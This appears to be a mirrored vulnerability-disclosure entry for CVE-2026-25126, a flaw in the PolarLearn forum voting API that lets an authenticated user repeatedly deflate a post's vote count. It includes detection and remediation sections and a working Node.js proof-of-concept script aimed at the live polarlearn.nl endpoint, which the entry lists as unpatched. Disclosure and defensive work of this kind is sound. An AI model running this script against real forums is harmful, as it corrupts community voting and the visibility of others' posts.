PoC Archive PoC Archive
Medium CVE-2026-25126 unpatched

PolarLearn Forum Vote Count Manipulation (CVE-2026-25126)

by Joshua van Rijswijk (Jvr2022) · 2026-07-05

Severity
Medium
CVE
CVE-2026-25126
Category
web
Affected product
PolarLearn forum platform
Affected versions
Version prior to the fix referenced in GHSA-ghpx-5w2p-p3qp
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-01
Author / ResearcherJoshua van Rijswijk (Jvr2022)
CVE / AdvisoryCVE-2026-25126
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsbusiness-logic, vote-manipulation, input-validation, api-abuse, forum, nodejs, ghost-downvote
RelatedN/A

Affected Target

FieldValue
Software / SystemPolarLearn forum platform
Versions AffectedVersion prior to the fix referenced in GHSA-ghpx-5w2p-p3qp
Language / PlatformNode.js 18+ (PoC), target is a web API
Authentication RequiredYes (valid authenticated session cookie)
Network Access RequiredYes

Summary

CVE-2026-25126 is a business logic flaw in PolarLearn’s forum voting API. The POST /api/v1/forum/vote endpoint declares a TypeScript type for the direction field but never validates it at runtime, so the server accepts arbitrary string values instead of only "up", "down", or null. Downstream vote-handling logic treats any unexpected non-null value as an implicit downvote while still persisting it, and alternating an invalid value with a null “reset” lets an authenticated user repeatedly decrement a post’s score. The included PoC automates this cycle against a live target to demonstrate so-called “ghost downvotes.”


Vulnerability Details

Root Cause

The vote endpoint parses the JSON body and passes direction straight into VoteServer() without enforcing that it is one of the allowed literal values, allowing malformed input to be misinterpreted as a valid downvote action.

Attack Vector

  1. Attacker authenticates normally and obtains a valid session cookie.
  2. Attacker sends POST /api/v1/forum/vote with direction: "invalid_direction" against a target post ID, which the backend miscounts as a downvote.
  3. Attacker immediately sends a second request with direction: null to reset their vote state, allowing the cycle to repeat.
  4. Repeating steps 2-3 lets a single account decrement a post’s vote count an arbitrary number of times.

Impact

Allows any authenticated user to silently manipulate content ranking/visibility by deflating vote counts on arbitrary forum posts, undermining the integrity of the community voting system.


Environment / Lab Setup

Target:   PolarLearn forum instance (polarlearn.nl or self-hosted equivalent)
Attacker: Node.js 18+ (native fetch), valid session cookie, target post ID

Proof of Concept

PoC Script

See poc.js in this folder.

1
node poc.js

Before running, edit POST_ID and COOKIE constants in the script. It sends 5 alternating cycles of an invalid direction vote followed by a null reset vote against the target post, decrementing the vote count each cycle.


Detection & Indicators of Compromise

Signs of compromise:

  • Forum posts with vote counts dropping unexpectedly without corresponding legitimate downvotes
  • Server logs showing direction values other than up, down, or null
  • Bursts of rapid vote requests from a single authenticated session

Remediation

ActionDetail
Primary fixEnforce strict runtime validation on direction, accepting only "up", "down", or null, rejecting all else with HTTP 400 (per GHSA-ghpx-5w2p-p3qp)
Interim mitigationAdd server-side rate limiting on the vote endpoint per user/post and audit stored vote records for invalid values

References


Notes

Mirrored from https://github.com/Jvr2022/CVE-2026-25126 on 2026-07-05.

poc.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const POST_ID = "POST ID";
const TARGET_URL = "https://polarlearn.nl/api/v1/forum/vote";
const COOKIE = "COOKIE";

async function runTest() {
  console.log(`[!] Testing vulnerability on post: ${POST_ID}`);

  for (let i = 1; i <= 5; i++) {
    const exploitRes = await fetch(TARGET_URL, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "Cookie": COOKIE,
        "User-Agent": "Security-Testing-PoC"
      },
      body: JSON.stringify({
        postId: POST_ID,
        direction: "invalid_direction"
      })
    });

    const clearRes = await fetch(TARGET_URL, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "Cookie": COOKIE
      },
      body: JSON.stringify({
        postId: POST_ID,
        direction: null
      })
    });

    if (exploitRes.ok && clearRes.ok) {
      console.log(`[+] Cycle ${i} complete: Vote count should have dropped by 1.`);
    } else {
      console.error(`[-] Cycle ${i} failed. Status: ${exploitRes.status}`);
      break;
    }
  }

  console.log(
    "[*] Finished. Refresh the forum page to see if the vote count is lower than it should be."
  );
}

runTest();